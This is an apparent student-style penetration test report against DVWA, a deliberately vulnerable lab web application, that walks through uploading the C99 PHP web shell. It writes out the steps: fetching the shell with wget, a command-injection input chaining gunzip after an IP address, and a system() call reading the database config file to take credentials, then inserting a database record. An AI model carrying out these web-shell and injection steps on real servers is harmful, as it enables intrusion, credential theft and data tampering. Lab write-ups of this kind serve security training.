A close up of a logo

Description automatically generated

**WILSON**

**SECURITY**

**www.WilsonSecurity.com.au**

Wilson Security Services

5/9 Cooma St.

PRESTON, 3072

VIC, Australia

Telephone: +61 435937871

Email: info@wilsonsec.com

Web: https://www.WilsonSecurity.com.au

Penetration Test Report

Websters

Table of Contents

[Executive Summary 3](#_Toc41839624)

[Summary of Results 4](#_Toc41839625)

[Attack Description 5](#_Toc41839626)

[Downloading Files for c99.php 5](#_Toc41839627)

[Extracting stuff.rar 6](#_Toc41839628)

[Configuring c99.php 7](#_Toc41839629)

[Logging into the Web Server 8](#_Toc41839630)

[Setting the Security Level as Low 9](#_Toc41839631)

[Uploading c99.php.gz 10](#_Toc41839632)

[Navigating to ../../hackable/uploads/ 11](#_Toc41839633)

[Exploiting DVWA with the C99 Shell 13](#_Toc41839634)

[Grabbing the Database Credentials 13](#_Toc41839635)

[Tampering with the Database 15](#_Toc41839636)

[Confirming the Attack on DVWA 19](#_Toc41839637)

[Conclusion 21](#_Toc41839638)

[Recommendations 22](#_Toc41839639)

[Risk Rating 23](#_Toc41839640)

[References 24](#_Toc41839641)

# Executive Summary

Websters contracted Wilson Security to conduct a penetration test to analyse how much risk is there that the organization can be attacked. Wilson Security replicated the way an attacker would hack Websters for the purpose of this penetration test and attained the main goal:

* To determine if Websters would lose complete control over their DVWA database if an attacker had access to the web server.

Wilson Security performed the following attacks in a manner with resources, an average person will have. Websters provided certain credentials and IP Addresses to Wilson Security, using this information, we were able to change the security level of their web server. We were also able to gather the database password using a malicious PHP script and alter their database records.

## Summary of Results

Firstly, we downloaded and configured the c99 shell file, then we logged in as the admin into the DVWA server of Websters and changed the security level to low. Further, we uploaded and unzipped the c99 shell file and then executed it. We were able to grab the database password and use it to view tables and their respective records. Additionally, we were able to tamper with their database. Then we logged into web server from one of their machines to confirm the attacks. The attack was successful.

# Attack Description

Websters provided Wilson Security with IP Addresses for the motive of this penetration test.

For this penetration test, we decided to use C99.php backdoor shell to exploit the web server of Websters. C99.php is basically a type of PHP malware which when uploaded to a vulnerable web application, will supply the attacker with a user interface to exploit the web server. The attacker can then act as the account which is running PHP and execute commands on the web server. The C99 shell can be used by the attacker for browsing files and the system, view files, delete files, edit files, move files, upload files as well as authorizes the attacker to change the permissions as the web server. (Keane, 2001)

## Downloading Files for c99.php

Using the ***cd /root/backdoor/*** command, we changed our location to the */root/backdoor* directory which is where we downloaded the rar files for C99.php.

Further, using the ***wget*** [***http://www.computersecuritystudent.com/SECURITY\_TOOLS/DVWA/DVWAv107/lesson14/stuff.rar***](http://www.computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAv107/lesson14/stuff.rar)command, we got the ***stuff.rar*** file. Using the command ***ls -lrta***, we listed the contents of */root/backdoor* directory in a long listing format including the hidden files sorted by modification time in the reverse order.

A screenshot of a computer screen

Description automatically generated

Figure 1 - Downloading **stuff.rar** and viewing the contents of the file

## Extracting stuff.rar

We used the command ***unrar x stuff.rar*** to extract the content of *stuff.rar*, then we concatenated *part1.txt*, *part2.txt* and *part3.txt* to *c99.php* by using the ***cat part1.txt part2.txt part3.txt > c99.php*** command.

Further, we created a backup of *c99.php* named *c99.php.bkp* by using the command ***cp c99.php c99.php.bkp***.

A screenshot of a computer screen

Description automatically generated

Figure 2 - Extracting **stuff.rar**, concatenating **part1.tx**t, **part2.txt** and **part3.txt** and creating a backup of **c99.php**

## Configuring c99.php

Using the command ***ls -lrta c99\****, we listed the files named *c99* in the */root/backdoor* directory in a long listing format including the hidden files sorted by modification time in the reverse order. We then checked the first line of *c99.php* and noticed that it does not contain “<?php” using the ***head -1 c99.php*** command. Further we replaced the first line of *c99.php* with “<?php” using the ***sed -i '1 s/^.\*$/<?php/g' c99.php*** command and checked if the first line contains “<?php” by using the ***head -1 c99.php*** command.

We then compressed *c99.php* to *c99.php.gz* using the ***gzip c99.php*** command because numerous web servers do not allow uploading files that exceed 10,000 bytes. Then, we listed the contents of */root/backdoor* directory in a long listing format including the hidden files sorted by modification time in the reverse order by using the ***ls -lrta*** command.

A screenshot of a computer screen

Description automatically generated

Figure 3 - Viewing the contents of **/root/backdoor**, editing the first line of **c99.php** and compressing it to **c99.php.gz**

## Logging into the Web Server

*192.168.43.174* is the IP Address of the web server. We used Firefox to browse to ***http://192.168.43.174/dvwa/login.php*** which is the login page for the web server and logged in as ***Admin*** using ***password*** as the password, these credentials were provided by Websters.

A screenshot of a computer screen

Description automatically generated

Figure 4 - Logging in to the web server as **Admin**

## Setting the Security Level as Low

Under DVWA (Damn Vulnerable Web Application) Security, we set the security level as *Low* and hit *submit* to check how we can attack when the security of the web server is *Low*.

A screenshot of a computer screen

Description automatically generated

Figure 5 - Setting DVWA security to **Low**

## Uploading c99.php.gz

We navigated to *Upload* and clicked on *Browse*.

A screenshot of a computer

Description automatically generated

Figure 6 - Clicked on **Browse** under **Upload**

We then navigated to */root/backdoor* and selected ***c99.php.gz***, then hit *Open* and clicked on *Upload*.

A screenshot of a computer screen

Description automatically generated

Figure 7 - Selecting **c99.php.gz** to upload

We were then successfully able to view the message and the path where ***c99.php.gz*** was uploaded to ***../../hackable/uploads/***.

A screenshot of a computer

Description automatically generated

Figure 8 - View the message that says **c99.php.gz** was successfully uploaded to **../../hackable/uploads/**

## Navigating to ../../hackable/uploads/

We navigated to *../../hackable/uploads/* by going to the following link [***http://192.168.43.174/dvwa/hackable/uploads/***](http://192.168.43.174/dvwa/hackable/uploads/) but soon we realised that we were not able to run a PHP file that has been compressed.

A screenshot of a social media post

Description automatically generated

Figure 9 - Trying to run a PHP file that has been compressed

So, we went back to the web server and under *Command Execution* and entered ***192.168.43.174; /bin/gunzip -v ../../hackable/uploads/c99.php*** and hit submit and got the following result.

A screenshot of a computer screen

Description automatically generated

Figure 10 - Performed Command Execution and extracted **c99.php.gz**

Further, we again navigated to *../../hackable/uploads/* by going to the following link [***http://192.168.43.174/dvwa/hackable/uploads/***](http://192.168.43.174/dvwa/hackable/uploads/)and were able to view the extracted ***c99.php*** as well as successfully execute it.

A screenshot of a computer screen

Description automatically generated

Figure 11 - Executing the extracted **c99.php**

## Exploiting DVWA with the C99 Shell

We used c99 shell to exploit DVWA by grabbing the database credentials and tampered with the data.

### Grabbing the Database Credentials

After executing the c99 shell, we navigated to *Sec.* in the menu bar and under *Command execute*, under *Select:* we chose ***find config.inc.php files*** and hit execute.

A screenshot of a computer screen

Description automatically generated

Figure 12 - Selecting **find config.inc.php files** under **Sec.>Select:**

A screenshot of a computer screen

Description automatically generated

Figure 13 - Copying the outcome of the previous command executed.

After the execution of the command, we could see the output presented in the above screenshot. We copied the highlighted ***/var/www/html/dvwa/config/config.inc.php***. Then we navigated to *PHP-code* and pasted what we had copied, then added an extra bit to execute the following command: ***system("cat /var/www/html/dvwa/config/config.inc.php");*** and hit *Execute*. The screenshot below is the output we achieved. The highlighted information provides us crucial details about the database.

Database Name: dvwa

Database User: root

Database Password: toor

A screenshot of a computer

Description automatically generated

Figure 14 - Grabbing database crucial information.

### Tampering with the Database

After clicking on *SQL* on the menu bar, we were able to fill the form in using the credentials we procured in *Figure 14 (Page 14)* and hit *Connect*.

A screenshot of a flat screen television

Description automatically generated

Figure 15 - Filling in the form using the credentials from **Figure 14**

After clicking *Connect*,we were able to view the tables in *dvwa* and clicked on *users*.

A screenshot of a flat screen television

Description automatically generated

Figure 16 - Viewing all tables in **dvwa** and clicking on **users**

After clicking on *users*, we were able to view all the records stored in the table. We then clicked on *Insert*.

A screenshot of a computer screen

Description automatically generated

Figure 17 - Viewing all the records clicking on **Insert** to add a new record

After clicking on *Insert*, we were able to add a new record by filling in the following the information:

user\_id : 6

first\_name : Saumya

last\_name : Rastogi

user : Student

password : Student

avatar : NA

For password, we had to select *PASSWORD* on the drop-down menu under *Function*. Then we clicked on *Confirm*.

A screenshot of a computer screen

Description automatically generated

Figure 18 - Filling in information to add a new record.

After clicking on *Confirm*, we were able to view the SQL statement that is going to be inserted into the database and clicked on *Yes*.

A screenshot of a computer screen

Description automatically generated

Figure 19 - Viewing the SQL statement to be inserted and clicking on **Yes**.

After clicking on *Yes*, we were able to view the new record we added in *Figure 18*.

*A screenshot of a computer screen

Description automatically generated*

Figure 20 - Viewing all the records in table users including the new record.

## Confirming the Attack on DVWA

So we logged into one of the machines of Websters to access the web server. We used the ***mysql -uroot -ptoor*** command to log into the MySQL server. Further, we used the command ***show databases;*** to view all the databases and then used the command ***use dvwa;*** to use the *dvwa* database. Then, we use the command ***show tables;*** to view all the tables in *dvwa*  and used the command ***show \* from users;*** to display all the details of all the records in table *users*. We were successfully able to view the record we added while performing the attack.

A screenshot of a social media post

Description automatically generatedA screenshot of a social media post

Description automatically generated

Figure 21 - Viewing the record added during the attack

This proves that any remote attacker can exploit Websters DVWA server easily if the security level is set to *Low*. The attacker can perform the following if Websters DVWA server is compromised:

1. Tamper with crucial data.
2. Sell the data to opponent parties.
3. Ask websters for Ransomware and lock them out of their DVWA server.
4. Delete all the data and redundancies permanently.
5. Target specific customers for a bigger impact.

# Conclusion

In this penetration test, Websters has faced numerous security failures. These vulnerabilities will in time lead to Websters losing complete control over their DVWA server . The functioning of the company will be affected extremely if these vulnerabilities are used by a malicious hacker or third party. The current system of maintaining and deploying security techniques will not be adequate enough for Websters to be secure.

The goal of this penetration test was as follows:

* To determine if Websters would lose complete control over their DVWA database if an attacker had access to the web server.

The main goal was successfully achieved in this penetration test. Many trivial security issues can generally be disregarded but in future, those could be leveraged and exploited easily. With access to the database credentials and the database to a remote attacker, Websters will, in time, lose all their crucial data and the control over it.

## Recommendations

Wilson Security has concluded that this penetration test report has in detail determined the impact of an attack where Websters DVWA server is hacked, to reduce the magnitude, timely measures must be taken.

Wilson Security suggests the following steps be taken:

* Make sure to use strong credentials.
* Effective reliance strategies.
* Impose and execute risk controls and mitigation techniques.
* Perform vulnerability assessments as regularly as possible.

## Risk Rating

In this penetration test report, it has been discovered that the probability of Websters being attacked is **HIGH**. The attacker can straight away get the whole control of DVWA database if the web server is compromised.

# References

Keane, J. C. (2001, November 30). *PHP Malware C99 Shell*. Retrieved from madirish.net: http://www.madirish.net/241

Student, C. S. (2013, February 27). *Damn Vulnerable Web App (DVWA): Lesson 14 - Upload and use C99.php Backdoor shell.* Retrieved from computersecuritystudent: https://www.computersecuritystudent.com/SECURITY\_TOOLS/DVWA/DVWAv107/lesson14/index.html